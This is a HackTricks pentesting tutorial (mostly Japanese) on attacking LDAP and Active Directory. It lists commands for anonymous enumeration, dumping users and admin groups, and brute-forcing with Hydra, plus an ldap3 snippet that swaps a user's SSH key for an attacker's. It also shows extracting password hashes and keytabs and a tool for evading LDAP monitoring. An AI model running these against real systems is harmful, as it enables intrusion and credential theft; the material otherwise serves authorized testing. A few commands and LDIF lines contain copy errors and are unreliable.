389, 636, 3268, 3269 - Pentesting LDAP

Reading time: 19 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

LDAP(Lightweight Directory Access Protocol)の用途は主に、公的・私的を問わずネットワーク内で組織、個人、ファイルやデバイスのようなリソースといったさまざまなエンティティを検索することです。前身のDAPに比べてコードフットプリントが小さく、より軽量なアプローチを提供します。

LDAPディレクトリは複数のサーバーに分散して配置できるよう構成されており、各サーバーはディレクトリの複製かつ同期されたバージョンを保持します。これはディレクトリシステムエージェント (DSA) と呼ばれます。リクエスト処理の責任はLDAPサーバーに完全にあり、必要に応じて他のDSAと通信して要求元に統一された応答を返します。

LDAPディレクトリの構成は、最上部のルートディレクトリから始まる**ツリー階層(tree hierarchy)**に似ています。そこから国へ枝分かれし、さらに組織へ、次に部門や部署を表すorganizational units(組織単位)へと分かれ、最終的に人やファイル、プリンタのような共有リソースを含む個々のエンティティのレベルに到達します。

Default port: 389 と 636 (ldaps)。Global Catalog (LDAP in ActiveDirectory) はデフォルトでポート 3268、LDAPS では 3269 で利用可能です。

PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped

LDAP Data Interchange Format

LDIF (LDAP Data Interchange Format) はディレクトリの内容を一連のレコードとして定義します。さらに、更新リクエスト(Add, Modify, Delete, Rename)を表現することもできます。

bash
dn: dc=local
dc: local
objectClass: dcObject

dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization

dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev

dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales

dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
  • 行 1-3 はトップレベルドメイン local を定義しています
  • 行 5-8 は第一レベルドメイン moneycorp (moneycorp.local) を定義しています
  • 行 10-16 は2つの組織単位 (organizational units): dev と sales を定義しています
  • 行 18-26 はドメインのオブジェクトを作成し、属性に値を割り当てています

データの書き込み

値を変更できる場合、非常に興味深い操作が可能になる点に注意してください。例えば、自分または任意のユーザーの "sshPublicKey" 情報を変更できる と想像してみてください。もしこの属性が存在するなら、ssh が LDAP から公開鍵を読み取っている 可能性が高いです。ユーザーの公開鍵を変更できれば、たとえ ssh でパスワード認証が有効になっていなくても、そのユーザーとしてログインできるようになります。

bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

Sniff clear text credentials

LDAPがSSLなしで使用されている場合、ネットワーク上でsniff credentials in plain textすることができます。

また、ネットワーク内でMITM攻撃を実行することができます(between the LDAP server and the client.)。ここでDowngrade Attackを仕掛けると、クライアントがcredentials in clear textを使用してログインするようになります。

If SSL is usedの場合、上記と同様のMITMを試み、false certificateを提示することができます。もしuser accepts itした場合、認証方式をDowngradeして再度credentialsを取得できます。

Anonymous Access

Bypass TLS SNI check

According to this writeup just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:

bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

LDAP anonymous binds

LDAP anonymous binds は、ドメインからユーザ、グループ、コンピュータ、ユーザーアカウント属性、ドメインのパスワードポリシーなどの情報を 認証されていない攻撃者 が取得できるようにします。これは レガシーな構成 であり、Windows Server 2003 以降、LDAP リクエストを開始できるのは認証済みユーザーのみとなっています。
しかし、管理者が set up a particular application to allow anonymous binds 必要があり、本来より多くのアクセス権を付与してしまい、その結果として認証されていないユーザーが AD 内のすべてのオブジェクトにアクセスできるようになっていることがあります。

Anonymous LDAP enumeration with NetExec (null bind)

If null/anonymous bind is allowed, you can pull users, groups, and attributes directly via NetExec’s LDAP module without creds. 有用なフィルタ:

  • (objectClass=*) — ベースDN配下のオブジェクトを列挙するため
  • (sAMAccountName=*) — ユーザープリンシパルを収集するため

例:

bash
# Enumerate objects from the root DSE (base DN autodetected)
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""

# Dump users with key attributes for spraying and targeting
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""

# Extract just the sAMAccountName field into a list
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt

何を確認するか:

  • sAMAccountName, userPrincipalName
  • memberOf と OU の配置(targeted sprays を絞るため)
  • pwdLastSet(時間的パターン)、userAccountControl フラグ(disabled、smartcard required、etc.)

Note: anonymous bind が許可されていない場合、通常は bind が必要であることを示す Operations error が表示されます。

有効な資格情報

LDAP server にログイン可能な有効な資格情報がある場合、Domain Admin に関するすべての情報を次のツールでダンプできます:

ldapdomaindump

bash
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

Brute Force

Enumeration

自動化

これを使用すると、公開情報(ドメイン名など)を見ることができます**:**

bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

Python

pythonでLDAP enumerationを見る

python を使って enumerate a LDAP with or without credentials してみることができます: pip3 install ldap3

まずは connect without credentials:

bash
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info

前の例のようにレスポンスが True の場合、LDAP サーバーからinteresting datanaming contextdomain name)を取得できます:

bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN

naming context を取得すれば、さらに興味深いクエリを実行できます。この簡単なクエリはディレクトリ内のすべてのオブジェクトを表示するはずです:

bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries

または ldap 全体を dump する:

bash
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries

windapsearch

Windapsearch は LDAP クエリを利用して Windows ドメインからユーザー、グループ、コンピュータを列挙する のに便利な Python スクリプトです。

bash
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

ldapsearch

null クレデンシャル、またはクレデンシャルが有効か確認する:

bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
bash
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839

bind must be completed」という表示が出た場合、それは認証情報が正しくないことを意味します。

ドメインからすべてを抽出するには、次を使用できます:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

users を抽出:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

抽出 コンピュータ:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

抽出 私の情報:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

抽出 Domain Admins:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

抽出 Domain Users:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

抽出 Enterprise Admins:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

抽出 Administrators:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

抽出 リモート デスクトップ グループ:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

passwordにアクセスできるか確認するには、いずれかのクエリを実行した後にgrepを使用できます:

bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

Please, notice that the passwords that you can find here could not be the real ones...

pbis

ここから pbis をダウンロードできます: https://github.com/BeyondTrust/pbis-open/。通常は /opt/pbis にインストールされます。
Pbis は基本情報を簡単に取得できます:

bash
#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done

グラフィカルインターフェース

Apache Directory

Download Apache Directory from here. このツールの使用例は次のリンクで確認できます: example of how to use this tool here.

jxplorer

LDAPサーバー付きのグラフィカルインターフェースはここからダウンロードできます: http://www.jxplorer.org/downloads/users.html

デフォルトでは次の場所にインストールされます: /opt/jxplorer

Godap

GodapはLDAP用の対話型ターミナルユーザーインターフェースで、ADや他のLDAPサーバーのオブジェクトや属性を操作するために使用できます。Windows、Linux、MacOSで利用可能で、simple binds、pass-the-hash、pass-the-ticket & pass-the-certなどをサポートします。また、オブジェクトの検索/作成/変更/削除、グループへのユーザーの追加・削除、パスワード変更、オブジェクト権限の編集(DACLs)、Active-Directory Integrated DNS (ADIDNS) の変更、JSONファイルへのエクスポートなど、いくつかの専門的な機能を備えています。

You can access it in https://github.com/Macmod/godap. For usage examples and instructions read the Wiki.

Ldapx

Ldapxは柔軟なLDAPプロキシで、他のツールからのLDAPトラフィックを検査・変換するために使用できます。LDAPトラフィックを難読化してidentity protectionやLDAP monitoring toolsの回避を試みるために使用でき、MaLDAPtiveの講演で提示されたほとんどの手法を実装しています。

You can get it from https://github.com/Macmod/ldapx.

kerberos を使った認証

ldapsearch を使用して、パラメータ -Y GSSAPI を指定することで、NTLM の代わりに kerberos に対して認証できます。

POST

データベースが格納されているファイル(/var/lib/ldap にあることがあります)にアクセスできる場合、ハッシュを抽出できます:

bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

パスワードハッシュ('{SSHA}' から 'structural' まで、'structural' を追加せずに)を john に渡すことができます。

設定ファイル

  • 一般
  • containers.ldif
  • ldap.cfg
  • ldap.conf
  • ldap.xml
  • ldap-config.xml
  • ldap-realm.xml
  • slapd.conf
  • IBM SecureWay V3 server
  • V3.sas.oc
  • Microsoft Active Directory server
  • msadClassesAttrs.ldif
  • Netscape Directory Server 4
  • nsslapd.sas_at.conf
  • nsslapd.sas_oc.conf
  • OpenLDAP directory server
  • slapd.sas_at.conf
  • slapd.sas_oc.conf
  • Sun ONE Directory Server 5.1
  • 75sas.ldif

HackTricks 自動コマンド

Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html

Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}

Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x

Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f

Entry_7:
Name: Netexec LDAP BloodHound
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする